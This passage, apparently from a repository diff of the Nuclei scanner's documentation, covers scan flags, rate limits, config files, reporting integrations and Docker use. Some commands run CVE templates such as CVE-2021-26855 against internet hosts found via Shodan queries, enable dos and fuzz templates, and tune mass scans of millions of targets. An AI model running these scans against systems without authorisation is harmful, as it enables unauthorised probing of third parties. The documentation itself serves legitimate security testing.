-ue, -uncover-engine string[] uncover search engine (shodan,shodan-idb,fofa,censys,quake,hunter,zoomeye,netlas,criminalip) (default shodan)
|
||||
-uf, -uncover-field string uncover fields to return (ip,port,host) (default "ip:port")
|
||||
-ul, -uncover-limit int uncover results to return (default 100)
|
||||
-ucd, -uncover-delay int delay between uncover query requests in seconds (0 to disable) (default 1)
|
||||
|
||||
RATE-LIMIT:
|
||||
-rl, -rate-limit int maximum number of requests to send per second (default 150)
|
||||
-rlm, -rate-limit-minute int maximum number of requests to send per minute
|
||||
-bs, -bulk-size int maximum number of hosts to be analyzed in parallel per template (default 25)
|
||||
-c, -concurrency int maximum number of templates to be executed in parallel (default 25)
|
||||
-hbs, -headless-bulk-size int maximum number of headless hosts to be analyzed in parallel per template (default 10)
|
||||
-headc, -headless-concurrency int maximum number of headless templates to be executed in parallel (default 10)
|
||||
|
||||
OPTIMIZATIONS:
|
||||
-timeout int time to wait in seconds before timeout (default 10)
|
||||
-retries int number of times to retry a failed request (default 1)
|
||||
-ldp, -leave-default-ports leave default HTTP/HTTPS ports (eg. host:80,host:443)
|
||||
-mhe, -max-host-error int max errors for a host before skipping from scan (default 30)
|
||||
-nmhe, -no-mhe disable skipping host from scan based on errors
|
||||
-project use a project folder to avoid sending same request multiple times
|
||||
-project-path string set a specific project path
|
||||
-spm, -stop-at-first-match stop processing HTTP requests after the first match (may break template/workflow logic)
|
||||
-stream stream mode - start elaborating without sorting the input
|
||||
-ss, -scan-strategy value strategy to use while scanning(auto/host-spray/template-spray) (default 0)
|
||||
-irt, -input-read-timeout duration timeout on input read (default 3m0s)
|
||||
-nh, -no-httpx disable httpx probing for non-url input
|
||||
-no-stdin disable stdin processing
|
||||
|
||||
HEADLESS:
|
||||
-headless enable templates that require headless browser support (root user on Linux will disable sandbox)
|
||||
-page-timeout int seconds to wait for each page in headless mode (default 20)
|
||||
-sb, -show-browser show the browser on the screen when running templates with headless mode
|
||||
-sc, -system-chrome use local installed Chrome browser instead of nuclei installed
|
||||
-lha, -list-headless-action list available headless actions
|
||||
|
||||
DEBUG:
|
||||
-debug show all requests and responses
|
||||
-dreq, -debug-req show all sent requests
|
||||
-dresp, -debug-resp show all received responses
|
||||
-p, -proxy string[] list of http/socks5 proxy to use (comma separated or file input)
|
||||
-pi, -proxy-internal proxy all internal requests
|
||||
-ldf, -list-dsl-function list all supported DSL function signatures
|
||||
-tlog, -trace-log string file to write sent requests trace log
|
||||
-elog, -error-log string file to write sent requests error log
|
||||
-version show nuclei version
|
||||
-hm, -hang-monitor enable nuclei hang monitoring
|
||||
-v, -verbose show verbose output
|
||||
-profile-mem string optional nuclei memory profile dump file
|
||||
-vv display templates loaded for scan
|
||||
-svd, -show-var-dump show variables dump for debugging
|
||||
-ep, -enable-pprof enable pprof debugging server
|
||||
-tv, -templates-version shows the version of the installed nuclei-templates
|
||||
-hc, -health-check run diagnostic check up
|
||||
|
||||
UPDATE:
|
||||
-un, -update update nuclei engine to the latest released version
|
||||
-ut, -update-templates update nuclei-templates to latest released version
|
||||
-ud, -update-template-dir string custom directory to install / update nuclei-templates
|
||||
-duc, -disable-update-check disable automatic nuclei/templates update check
|
||||
|
||||
STATISTICS:
|
||||
-stats display statistics about the running scan
|
||||
-sj, -stats-json write statistics data to an output file in JSONL(ines) format
|
||||
-si, -stats-interval int number of seconds to wait between showing a statistics update (default 5)
|
||||
-mp, -metrics-port int port to expose nuclei metrics on (default 9092)
|
||||
```
|
||||
|
||||
<Tip>
|
||||
From Nuclei v3.0.0 `-metrics` port has been removed and merged with `-stats`
|
||||
when using `-stats` flag metrics will be by default available at `localhost:9092/metrics`
|
||||
and metrics-port can be configured by `-metrics-port` flag
|
||||
</Tip>
|
||||
|
||||
### Rate **Limits**
|
||||
|
||||
Nuclei have multiple rate limit controls for multiple factors, including a number of templates to execute in parallel, a number of hosts to be scanned in parallel for each template, and the global number of request / per second you wanted to make/limit using nuclei, here is an example of each flag with description.
|
||||
|
||||
| Flag | Description |
|
||||
| ---------- | -------------------------------------------------------------------- |
|
||||
| rate-limit | Control the total number of request to send per seconds |
|
||||
| bulk-size | Control the number of hosts to process in parallel for each template |
|
||||
| c | Control the number of templates to process in parallel |
|
||||
|
||||
Feel free to play with these flags to tune your nuclei scan speed and accuracy.
|
||||
|
||||
<Tip>
|
||||
`rate-limit` flag takes precedence over the other two flags, the number of
|
||||
requests/seconds can't go beyond the value defined for `rate-limit` flag
|
||||
regardless the value of `c` and `bulk-size` flag.
|
||||
</Tip>
|
||||
|
||||
### Traffic **Tagging**
|
||||
|
||||
Many BugBounty platform/programs requires you to identify the HTTP traffic you make, this can be achieved by setting custom header using config file at `$HOME/.config/nuclei/config.yaml` or CLI flag `-H / header`
|
||||
|
||||
<Note>
|
||||
Setting custom header using config file
|
||||
|
||||
```yaml
|
||||
# Headers to include with each request.
|
||||
header:
|
||||
- 'X-BugBounty-Hacker: h1/geekboy'
|
||||
- 'User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) / nuclei'
|
||||
```
|
||||
|
||||
</Note>
|
||||
|
||||
<Note>
|
||||
|
||||
Setting custom header using CLI flag
|
||||
|
||||
```yaml
|
||||
nuclei -header 'User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) / nuclei' -list urls.txt -tags cves
|
||||
```
|
||||
|
||||
</Note>
|
||||
|
||||
### Template **Exclusion**
|
||||
|
||||
Nuclei supports a variety of methods for excluding / blocking templates from execution. By default, **nuclei** excludes the tags/templates listed below from execution to avoid unexpected fuzz based scans and some that are not supposed to run for mass scan, and these can be easily overwritten with nuclei configuration file / flags.
|
||||
|
||||
- Default [Template ignore](https://github.com/projectdiscovery/nuclei-templates/blob/master/.nuclei-ignore) list.
|
||||
|
||||
<Warning>
|
||||
**nuclei-ignore** file is not supposed to be updated / edited / removed by
|
||||
user, to overwrite default ignore list, utilize [nuclei
|
||||
configuration](/getting-started/features#nuclei-config) file.{' '}
|
||||
</Warning>
|
||||
|
||||
Nuclei engine supports two ways to manually exclude templates from scan,
|
||||
|
||||
1. Exclude Templates (`-exclude-templates/exclude`)
|
||||
|
||||
**exclude-templates** flag is used to exclude single or multiple templates and directory, multiple `-exclude-templates` flag can be used to provide multiple values.
|
||||
|
||||
2. Exclude Tags (`-exclude-tags/etags`)
|
||||
|
||||
**exclude-tags** flag is used to exclude templates based in defined tags, single or multiple can be used to exclude templates.
|
||||
|
||||
<Note>
|
||||
Example of excluding single template
|
||||
|
||||
```
|
||||
nuclei -list urls.txt -t cves/ -exclude-templates cves/2020/CVE-2020-XXXX.yaml
|
||||
```
|
||||
|
||||
</Note>
|
||||
|
||||
<Note>
|
||||
Example of multiple template exclusion
|
||||
|
||||
```
|
||||
nuclei -list urls.txt -exclude-templates exposed-panels/ -exclude-templates technologies/
|
||||
```
|
||||
|
||||
</Note>
|
||||
|
||||
<Note>
|
||||
Example of excluding templates with single tag
|
||||
|
||||
```
|
||||
nuclei -l urls.txt -t cves/ -etags xss
|
||||
```
|
||||
|
||||
</Note>
|
||||
|
||||
<Note>
|
||||
Example of excluding templates with multiple tags
|
||||
|
||||
```
|
||||
nuclei -l urls.txt -t cves/ -etags sqli,rce
|
||||
```
|
||||
|
||||
</Note>
|
||||
|
||||
To easily overwrite [nuclei-ignore](https://github.com/projectdiscovery/nuclei-templates/blob/master/.nuclei-ignore), Nuclei engine supports **include-tags** / **include-templates** flag.
|
||||
|
||||
<Note>
|
||||
Example of running blocked templates
|
||||
|
||||
```
|
||||
nuclei -l urls.txt -include-tags iot,misc,fuzz
|
||||
```
|
||||
|
||||
</Note>
|
||||
|
||||
### Scan on internet database
|
||||
|
||||
Nuclei supports integration with [uncover module](https://github.com/projectdiscovery/uncover) that supports services like Shodan, Censys, Hunter, Zoomeye, many more to execute Nuclei on these databases.
|
||||
|
||||
Here are uncover options to use -
|
||||
|
||||
```console
|
||||
nuclei -h uncover
|
||||
|
||||
UNCOVER:
|
||||
-uc, -uncover enable uncover engine
|
||||
-uq, -uncover-query string[] uncover search query
|
||||
-ue, -uncover-engine string[] uncover search engine (shodan,shodan-idb,fofa,censys,quake,hunter,zoomeye,netlas,criminalip) (default shodan)
|
||||
-uf, -uncover-field string uncover fields to return (ip,port,host) (default "ip:port")
|
||||
-ul, -uncover-limit int uncover results to return (default 100)
|
||||
-ucd, -uncover-delay int delay between uncover query requests in seconds (0 to disable) (default 1)
|
||||
```
|
||||
|
||||
You need to set the API key of the engine you are using as an environment variable in your shell.
|
||||
|
||||
```
|
||||
export SHODAN_API_KEY=xxx
|
||||
export CENSYS_API_ID=xxx
|
||||
export CENSYS_API_SECRET=xxx
|
||||
export FOFA_EMAIL=xxx
|
||||
export FOFA_KEY=xxx
|
||||
export QUAKE_TOKEN=xxx
|
||||
export HUNTER_API_KEY=xxx
|
||||
export ZOOMEYE_API_KEY=xxx
|
||||
```
|
||||
|
||||
Required API keys can be obtained by signing up on following platform [Shodan](https://account.shodan.io/register), [Censys](https://censys.io/register), [Fofa](https://fofa.info/toLogin), [Quake](https://quake.360.net/quake/#/index), [Hunter](https://user.skyeye.qianxin.com/user/register?next=https%3A//hunter.qianxin.com/api/uLogin&fromLogin=1) and [ZoomEye](https://www.zoomeye.org/login) .
|
||||
|
||||
Example of template execution using a search query.
|
||||
|
||||
```
|
||||
export SHODAN_API_KEY=xxx
|
||||
nuclei -id 'CVE-2021-26855' -uq 'vuln:CVE-2021-26855' -ue shodan
|
||||
```
|
||||
|
||||
It can also read queries from templates metadata and execute template against hosts returned by uncover for that query.
|
||||
|
||||
Example of template execution using template-defined search queries.
|
||||
|
||||
Template snippet of [CVE-2021-26855](https://github.com/projectdiscovery/nuclei-templates/blob/master/cves/2021/CVE-2021-26855.yaml)
|
||||
|
||||
```yaml
|
||||
metadata:
|
||||
shodan-query: 'vuln:CVE-2021-26855'
|
||||
```
|
||||
|
||||
```console
|
||||
nuclei -t cves/2021/CVE-2021-26855.yaml -uncover
|
||||
nuclei -tags cve -uncover
|
||||
```
|
||||
|
||||
We can update the nuclei configuration file to include these tags for all scans.
|
||||
|
||||
## **Large scans** using Nuclei
|
||||
|
||||
Nuclei fully utilises resources to optimise scanning speed. However, when scanning **thousands**, if not **millions, of targets**, scanning using default parameter values is bound to cause some performance issues ex: low RPS, Slow Scans, Process Killed, High RAM consumption, etc. this is due to limited resources and network I/O. Hence following parameters need to be tuned based on system configuration and targets.
|
||||
|
||||
For enterprises dealing with large-scale scanning, optimizing Nuclei can be a burdensome task, especially when scans change frequently. That's where [Nuclei Enterprise](https://nuclei.sh/enterprise) comes in. With its managed offering and dedicated support, Nuclei Enterprise minimizes the burden of optimizing Nuclei on large scans, making it an ideal choice for enterprise-level scanning needs.
|
||||
|
||||
|
||||
| Flag | Short | Description |
|
||||
| ------------- | ----- | --------------------------------------------------------- |
|
||||
| scan-strategy | -ss | Scan Strategy to Use (auto/host-spray/template-spray) |
|
||||
| bulk-size | -bs | Max Number of targets to scan in parallel |
|
||||
| concurrency | -c | Max Number of templates to use in parallel while scanning |
|
||||
| stream | - | stream mode - start elaborating without sorting the input |
|
||||
|
||||
<Note>
|
||||
These are common parameters that need to be tuned. Apart from these
|
||||
`-rate-limit`, `-retries`, `-timeout`, `-max-host-error` also need to be tuned
|
||||
based on targets that are being scanned
|
||||
</Note>
|
||||
|
||||
### Which Scan Strategy to Use?
|
||||
|
||||
**scan-strategy** option can have three possible values
|
||||
|
||||
- `host-spray` : All templates are iterated over each target.
|
||||
- `template-spray` : Each template is iterated over all targets.
|
||||
- `auto`(Default) : Placeholder of `template-spray` for now.
|
||||
|
||||
User should select **Scan Strategy** based on number of targets and Each strategy has its own pros & cons.
|
||||
|
||||
- When targets < 1000, `template-spray` should be used. This strategy is slightly faster than `host-spray` but uses more RAM and does not optimally reuse connections.
|
||||
- When targets > 1000, `host-spray` should be used. This strategy uses less RAM than `template-spray` and reuses HTTP connections along with some minor improvements and these are crucial when mass scanning.
|
||||
|
||||
### Concurrency & Bulk-Size
|
||||
|
||||
Whatever the `scan-strategy` is `-concurrency` and `-bulk-size` are crucial for tuning any type of scan. While tuning these parameters following points should be noted.
|
||||
|
||||
**If `scan-strategy` is template-spray**
|
||||
|
||||
- `-concurrency` < `bulk-size` (Ex: `-concurrency 10 -bulk-size 200`)
|
||||
|
||||
**If `scan-strategy` is host-spray**
|
||||
|
||||
- `-concurrency` > `bulk-size` (Ex: `-concurrency 200 -bulk-size 10`)
|
||||
|
||||
<Tip> `-concurrency` x `-bulk-size` \<\= 2500 (depending on system config) </Tip>
|
||||
|
||||
### Stream
|
||||
|
||||
This option should only be enabled if targets > 10k . This skips any type of sorting or preprocessing on target list.
|
||||
|
||||
## Nuclei **Config**
|
||||
|
||||
> Since release of [v2.3.2](https://blog.projectdiscovery.io/nuclei-v2-3-0-release/) nuclei uses [goflags](https://github.com/projectdiscovery/goflags) for clean CLI experience and long/short formatted flags.
|
||||
>
|
||||
> [goflags](https://github.com/projectdiscovery/goflags) comes with auto-generated config file support that coverts all available CLI flags into config file, basically you can define all CLI flags into config file to avoid repetitive CLI flags that loads as default for every scan of nuclei.
|
||||
>
|
||||
> Default path of nuclei config file is `$HOME/.config/nuclei/config.yaml`, uncomment and configure the flags you wish to run as default.
|
||||
|
||||
Here is an example config file:
|
||||
|
||||
```yaml
|
||||
# Headers to include with all HTTP request
|
||||
header:
|
||||
- 'X-BugBounty-Hacker: h1/geekboy'
|
||||
|
||||
# Directory based template execution
|
||||
templates:
|
||||
- cves/
|
||||
- vulnerabilities/
|
||||
- misconfiguration/
|
||||
|
||||
# Tags based template execution
|
||||
tags: exposures,cve
|
||||
|
||||
# Template Filters
|
||||
tags: exposures,cve
|
||||
author: geeknik,pikpikcu,dhiyaneshdk
|
||||
severity: critical,high,medium
|
||||
|
||||
# Template Allowlist
|
||||
include-tags: dos,fuzz # Tag based inclusion (allows overwriting nuclei-ignore list)
|
||||
include-templates: # Template based inclusion (allows overwriting nuclei-ignore list)
|
||||
- vulnerabilities/xxx
|
||||
- misconfiguration/xxxx
|
||||
|
||||
# Template Denylist
|
||||
exclude-tags: info # Tag based exclusion
|
||||
exclude-templates: # Template based exclusion
|
||||
- vulnerabilities/xxx
|
||||
- misconfiguration/xxxx
|
||||
|
||||
# Rate Limit configuration
|
||||
rate-limit: 500
|
||||
bulk-size: 50
|
||||
concurrency: 50
|
||||
```
|
||||
|
||||
Once configured, **config file be used as default**, additionally custom config file can be also provided using `-config` flag.
|
||||
|
||||
<Note>
|
||||
**Running nuclei with custom config file**
|
||||
|
||||
```
|
||||
nuclei -config project.yaml -list urls.txt
|
||||
```
|
||||
|
||||
</Note>
|
||||
|
||||
## Nuclei **Reporting**
|
||||
|
||||
Nuclei comes with reporting module support with the release of [v2.3.0](https://nuclei.projectdiscovery.io/releases/nuclei-changelog/#nuclei-v230-10-march-2021) supporting GitHub, GitLab, and Jira integration, this allows nuclei engine to create automatic tickets on the supported platform based on found results.
|
||||
|
||||
| **Platform** | GitHub | GitLab | Jira | Markdown | SARIF | Elasticsearch | Splunk HEC |
|
||||
| ------------ | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| **Support** | <svg className="dark:fill-gray-300" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="24" height="24"><path fill-rule="evenodd" d="M1 12C1 5.925 5.925 1 12 1s11 4.925 11 11-4.925 11-11 11S1 18.075 1 12zm16.28-2.72a.75.75 0 00-1.06-1.06l-5.97 5.97-2.47-2.47a.75.75 0 00-1.06 1.06l3 3a.75.75 0 001.06 0l6.5-6.5z"></path></svg> | <svg className="dark:fill-gray-300" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="24" height="24"><path fill-rule="evenodd" d="M1 12C1 5.925 5.925 1 12 1s11 4.925 11 11-4.925 11-11 11S1 18.075 1 12zm16.28-2.72a.75.75 0 00-1.06-1.06l-5.97 5.97-2.47-2.47a.75.75 0 00-1.06 1.06l3 3a.75.75 0 001.06 0l6.5-6.5z"></path></svg> | <svg className="dark:fill-gray-300" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="24" height="24"><path fill-rule="evenodd" d="M1 12C1 5.925 5.925 1 12 1s11 4.925 11 11-4.925 11-11 11S1 18.075 1 12zm16.28-2.72a.75.75 0 00-1.06-1.06l-5.97 5.97-2.47-2.47a.75.75 0 00-1.06 1.06l3 3a.75.75 0 001.06 0l6.5-6.5z"></path></svg> | <svg className="dark:fill-gray-300" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="24" height="24"><path fill-rule="evenodd" d="M1 12C1 5.925 5.925 1 12 1s11 4.925 11 11-4.925 11-11 11S1 18.075 1 12zm16.28-2.72a.75.75 0 00-1.06-1.06l-5.97 5.97-2.47-2.47a.75.75 0 00-1.06 1.06l3 3a.75.75 0 001.06 0l6.5-6.5z"></path></svg> | <svg className="dark:fill-gray-300" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="24" height="24"><path fill-rule="evenodd" d="M1 12C1 5.925 5.925 1 12 1s11 4.925 11 11-4.925 11-11 11S1 18.075 1 12zm16.28-2.72a.75.75 0 00-1.06-1.06l-5.97 5.97-2.47-2.47a.75.75 0 00-1.06 1.06l3 3a.75.75 0 001.06 0l6.5-6.5z"></path></svg> | <svg className="dark:fill-gray-300" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="24" height="24"><path fill-rule="evenodd" d="M1 12C1 5.925 5.925 1 12 1s11 4.925 11 11-4.925 11-11 11S1 18.075 1 12zm16.28-2.72a.75.75 0 00-1.06-1.06l-5.97 5.97-2.47-2.47a.75.75 0 00-1.06 1.06l3 3a.75.75 0 001.06 0l6.5-6.5z"></path></svg> | <svg className="dark:fill-gray-300" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="24" height="24"><path fill-rule="evenodd" d="M1 12C1 5.925 5.925 1 12 1s11 4.925 11 11-4.925 11-11 11S1 18.075 1 12zm16.28-2.72a.75.75 0 00-1.06-1.06l-5.97 5.97-2.47-2.47a.75.75 0 00-1.06 1.06l3 3a.75.75 0 001.06 0l6.5-6.5z"></path></svg> |
|
||||
|
||||
`-rc, -report-config` flag can be used to provide a config file to read configuration details of the platform to integrate. Here is an [example config file](https://github.com/projectdiscovery/nuclei/blob/main/cmd/nuclei/issue-tracker-config.yaml) for all supported platforms.
|
||||
|
||||
For example, to create tickets on GitHub, create a config file with the following content and replace the appropriate values:
|
||||
|
||||
```yaml
|
||||
# GitHub contains configuration options for GitHub issue tracker
|
||||
|
||||
github:
|
||||
username: '$user'
|
||||
owner: '$user'
|
||||
token: '$token'
|
||||
project-name: 'testing-project'
|
||||
issue-label: 'Nuclei'
|
||||
```
|
||||
|
||||
Alternatively if you use GitLab, create a config file following content and replace the appropriate values:
|
||||
|
||||
```yaml
|
||||
# GitLab contains configuration options for GitLab issue tracker
|
||||
|
||||
gitlab:
|
||||
username: '$user'
|
||||
base-url: 'gitlab.com'
|
||||
token: '$token'
|
||||
project-name: 'testing-project'
|
||||
issue-label: 'nuclei-label'
|
||||
severity-as-label: true
|
||||
duplicate-issue-check: true
|
||||
```
|
||||
|
||||
To store results in Elasticsearch, create a config file with the following content and replace the appropriate values:
|
||||
|
||||
```yaml
|
||||
# elasticsearch contains configuration options for elasticsearch exporter
|
||||
elasticsearch:
|
||||
# IP for elasticsearch instance
|
||||
ip: 127.0.0.1
|
||||
# Port is the port of elasticsearch instance
|
||||
port: 9200
|
||||
# IndexName is the name of the elasticsearch index
|
||||
index-name: nuclei
|
||||
```
|
||||
|
||||
To forward results to Splunk HEC, create a config file with the following content and replace the appropriate values:
|
||||
|
||||
```yaml
|
||||
# splunkhec contains configuration options for splunkhec exporter
|
||||
splunkhec:
|
||||
# Hostname for splunkhec instance
|
||||
host: '$hec_host'
|
||||
# Port is the port of splunkhec instance
|
||||
port: 8088
|
||||
# IndexName is the name of the splunkhec index
|
||||
index-name: nuclei
|
||||
# SSL enables ssl for splunkhec connection
|
||||
ssl: true
|
||||
# SSLVerification disables SSL verification for splunkhec
|
||||
ssl-verification: true
|
||||
# HEC Token for the splunkhec instance
|
||||
token: '$hec_token'
|
||||
```
|
||||
|
||||
To forward results to Jira, create a config file with the following content and replace the appropriate values:
|
||||
|
||||
The Jira reporting options allows for custom fields, as well as using variables from the Nuclei templates in those custom fields.
|
||||
The supported variables currently are: `$CVSSMetrics`, `$CVEID`, `$CWEID`, `$Host`, `$Severity`, `$CVSSScore`, `$Name`
|
||||
|
||||
In addition, Jira is strict when it comes to custom field entry. If the field is a dropdown, Jira accepts only the case sensitive specific string and the API call is slightly different. To support this, there are three types of customfields.
|
||||
|
||||
- `name` is the dropdown value
|
||||
- `id` is the ID value of the dropdown
|
||||
- `freeform` is if the customfield the entry of any value
|
||||
|
||||
To avoid duplication, the JQL query run can be slightly modified by the config file.
|
||||
The `CLOSED_STATUS` can be changed in the Jira template file using the `status-not` variable.
|
||||
`summary ~ TEMPLATE_NAME AND summary ~ HOSTNAME AND status != CLOSED_STATUS`
|
||||
|
||||
```yaml
|
||||
jira:
|
||||
# cloud is the boolean which tells if Jira instance is running in the cloud or on-prem version is used
|
||||
cloud: true
|
||||
# update-existing is the boolean which tells if the existing, opened issue should be updated or new one should be created
|
||||
update-existing: false
|
||||
# URL is the jira application url
|
||||
url: https://localhost/jira
|
||||
# account-id is the account-id of the Jira user or username in case of on-prem Jira
|
||||
account-id: test-account-id
|
||||
# email is the email of the user for Jira instance
|
||||
email: [email protected]
|
||||
# token is the token for Jira instance or password in case of on-prem Jira
|
||||
token: test-token
|
||||
#project-name is the name of the project.
|
||||
project-name: test-project-name
|
||||
#issue-type is the name of the created issue type (case sensitive)
|
||||
issue-type: Bug
|
||||
# SeverityAsLabel (optional) sends the severity as the label of the created issue
|
||||
# User custom fields for Jira Cloud instead
|
||||
severity-as-label: true
|
||||
# Whatever your final status is that you want to use as a closed ticket - Closed, Done, Remediated, etc
|
||||
# When checking for duplicates, the JQL query will filter out status's that match this.
|
||||
# If it finds a match _and_ the ticket does have this status, a new one will be created.
|
||||
status-not: Closed
|
||||
# Customfield supports name, id and freeform. name and id are to be used when the custom field is a dropdown.
|
||||
# freeform can be used if the custom field is just a text entry
|
||||
# Variables can be used to pull various pieces of data from the finding itself.
|
||||
# Supported variables: $CVSSMetrics, $CVEID, $CWEID, $Host, $Severity, $CVSSScore, $Name
|
||||
custom_fields:
|
||||
customfield_00001:
|
||||
name: 'Nuclei'
|
||||
customfield_00002:
|
||||
freeform: $CVSSMetrics
|
||||
customfield_00003:
|
||||
freeform: $CVSSScore
|
||||
```
|
||||
|
||||
**Running nuclei with reporting module:**
|
||||
|
||||
```bash
|
||||
nuclei -l urls.txt -t cves/ -rc issue-tracker.yaml
|
||||
```
|
||||
|
||||
Similarly, other platforms can be configured. Reporting module also supports basic filtering and duplicate checks to avoid duplicate ticket creation.
|
||||
|
||||
```yaml
|
||||
allow-list:
|
||||
severity: high,critical
|
||||
```
|
||||
|
||||
This will ensure to only creating tickets for issues identified with **high** and **critical** severity; similarly, `deny-list` can be used to exclude issues with a specific severity.
|
||||
|
||||
If you are running periodic scans on the same assets, you might want to consider `-rdb, -report-db` flag that creates a local copy of the valid findings in the given directory utilized by reporting module to compare and **create tickets for unique issues only**.
|
||||
|
||||
```bash
|
||||
nuclei -l urls.txt -t cves/ -rc issue-tracker.yaml -rdb prod
|
||||
```
|
||||
|
||||
**<ins>Markdown Export</ins>**
|
||||
|
||||
Nuclei supports markdown export of valid findings with `-me, -markdown-export` flag, this flag takes directory as input to store markdown formatted reports.
|
||||
|
||||
Including request/response in the markdown report is optional, and included when `-irr, -include-rr` flag is used along with `-me`.
|
||||
|
||||
```bash
|
||||
nuclei -l urls.txt -t cves/ -irr -markdown-export reports
|
||||
```
|
||||
|
||||
**<ins>SARIF Export</ins>**
|
||||
|
||||
Nuclei supports SARIF export of valid findings with `-se, -sarif-export` flag. This flag takes a file as input to store SARIF formatted report.
|
||||
|
||||
```bash
|
||||
nuclei -l urls.txt -t cves/ -sarif-export report.sarif
|
||||
```
|
||||
|
||||
It is also possible to visualize Nuclei results using **SARIF** files.
|
||||
|
||||
1. By uploading a SARIF file to [SARIF Viewer](https://microsoft.github.io/sarif-web-component/)
|
||||
|
||||
2. By uploading a SARIF file to [Github Actions](https://docs.github.com/en/code-security/code-scanning/integrating-with-code-scanning/uploading-a-sarif-file-to-github)
|
||||
|
||||
More info on the SARIF output is documented [here](https://github.com/projectdiscovery/nuclei/pull/2925).
|
||||
|
||||
<Note>
|
||||
These are **not official** viewers of Nuclei and `Nuclei` has no liability
|
||||
towards any of these options to visualize **Nuclei** results. These are just
|
||||
some publicly available options to visualize SARIF files.
|
||||
</Note>
|
||||
|
||||
## Scan **Metrics**
|
||||
|
||||
Nuclei expose running scan metrics on a local port `9092` when `-metrics` flag is used and can be accessed at **localhost:9092/metrics**, default port to expose scan information is configurable using `-metrics-port` flag.
|
||||
|
||||
Here is an example to query `metrics` while running nuclei as following `nuclei -t cves/ -l urls.txt -metrics`
|
||||
|
||||
```bash
|
||||
curl -s localhost:9092/metrics | jq .
|
||||
```
|
||||
|
||||
```json
|
||||
{
|
||||
"duration": "0:00:03",
|
||||
"errors": "2",
|
||||
"hosts": "1",
|
||||
"matched": "0",
|
||||
"percent": "99",
|
||||
"requests": "350",
|
||||
"rps": "132",
|
||||
"startedAt": "2021-03-27T18:02:18.886745+05:30",
|
||||
"templates": "256",
|
||||
"total": "352"
|
||||
}
|
||||
```
|
||||
|
||||
## Passive Scan
|
||||
|
||||
Nuclei engine supports passive mode scanning for HTTP based template utilizing file support, with this support we can run HTTP based templates against locally stored HTTP response data collected from any other tool.
|
||||
|
||||
```sh
|
||||
nuclei -passive -target http_data
|
||||
```
|
||||
|
||||
<Note>Passive mode support is limited for templates having `{{BasedURL}}` or `{{BasedURL/}}` as base path.</Note>
|
||||
|
||||
## Running With Docker
|
||||
If Nuclei was installed within a Docker container based on the [installation instructions](./install),
|
||||
the executable does not have the context of the host machine. This means that the executable will not be able to access
|
||||
local files such as those used for input lists or templates. To resolve this, the container should be run with volumes
|
||||
mapped to the local filesystem to allow access to these files.
|
||||
|
||||
### Basic Usage
|
||||
This example runs a Nuclei container against `google.com`, prints the results to JSON and removes the container once it
|
||||
has completed:
|
||||
```sh
|
||||
docker run --rm projectdiscovery/nuclei -u google.com -jsonl
|
||||
```
|
||||
|
||||
### Using Volumes
|
||||
This example runs a Nuclei container against a list of URLs, writes the results to a `.jsonl` file and removes the
|
||||
container once it has completed.
|
||||
```sh
|
||||
# This assumes there's a file called `urls.txt` in the current directory
|
||||
docker run --rm -v ./:/app/ projectdiscovery/nuclei -l /app/urls.txt -jsonl /app/results.jsonl
|
||||
# The results will be written to `./results.jsonl` on the host machine once the container has completed
|
||||
```
|
||||
|
After Width: | Height: | Size: 490 KiB |
|
After Width: | Height: | Size: 384 KiB |
|
After Width: | Height: | Size: 1.0 MiB |
|
After Width: | Height: | Size: 618 KiB |
|
After Width: | Height: | Size: 23 KiB |
|
After Width: | Height: | Size: 28 KiB |
@@ -0,0 +1,148 @@
|
||||
{
|
||||
"$schema":"https://mintlify.com/schema.json",
|
||||
"name":"Nuclei Documentation",
|
||||
"logo":{
|
||||
"dark":"/logo/dark.png",
|
||||
"light":"/logo/light.png"
|
||||
},
|
||||
"favicon":"/favicon.png",
|
||||
"colors":{
|
||||
"primary":"#3B2FC9",
|
||||
"light":"#6673FF",
|
||||
"dark":"#3B2FC9"
|
||||
},
|
||||
"backgroundImage":"/images/background.png",
|
||||
"topbarCtaButton":{
|
||||
"type":"github",
|
||||
"url":"https://github.com/projectdiscovery/nuclei"
|
||||
},
|
||||
"topAnchor":{
|
||||
"name":"Getting Started",
|
||||
"icon":"circle-play"
|
||||
},
|
||||
"primaryTab":{
|
||||
"name":"Getting Started"
|
||||
},
|
||||
"tabs":[
|
||||
{
|
||||
"name":"Template Guide",
|
||||
"url":"template-guide"
|
||||
},
|
||||
{
|
||||
"name":"Template Example",
|
||||
"url":"template-example"
|
||||
},
|
||||
{
|
||||
"name":"Template Editor",
|
||||
"url":"editor"
|
||||
},
|
||||
{
|
||||
"name":"FAQ",
|
||||
"url":"faq"
|
||||
}
|
||||
],
|
||||
"navigation":[
|
||||
{
|
||||
"group":"Getting Started",
|
||||
"pages":[
|
||||
"getting-started/overview",
|
||||
"getting-started/features",
|
||||
"getting-started/install",
|
||||
"getting-started/running"
|
||||
]
|
||||
},
|
||||
{
|
||||
"group":"Template Guide",
|
||||
"pages":[
|
||||
"template-guide/introduction",
|
||||
"template-guide/template-details",
|
||||
{
|
||||
"group":"HTTPs",
|
||||
"pages":[
|
||||
"template-guide/http/base-http",
|
||||
"template-guide/http/raw-http",
|
||||
"template-guide/http/http-payloads",
|
||||
"template-guide/http/http-fuzzing",
|
||||
"template-guide/http/unsafe-http",
|
||||
"template-guide/http/advance-http"
|
||||
]
|
||||
},
|
||||
"template-guide/headless",
|
||||
"template-guide/network",
|
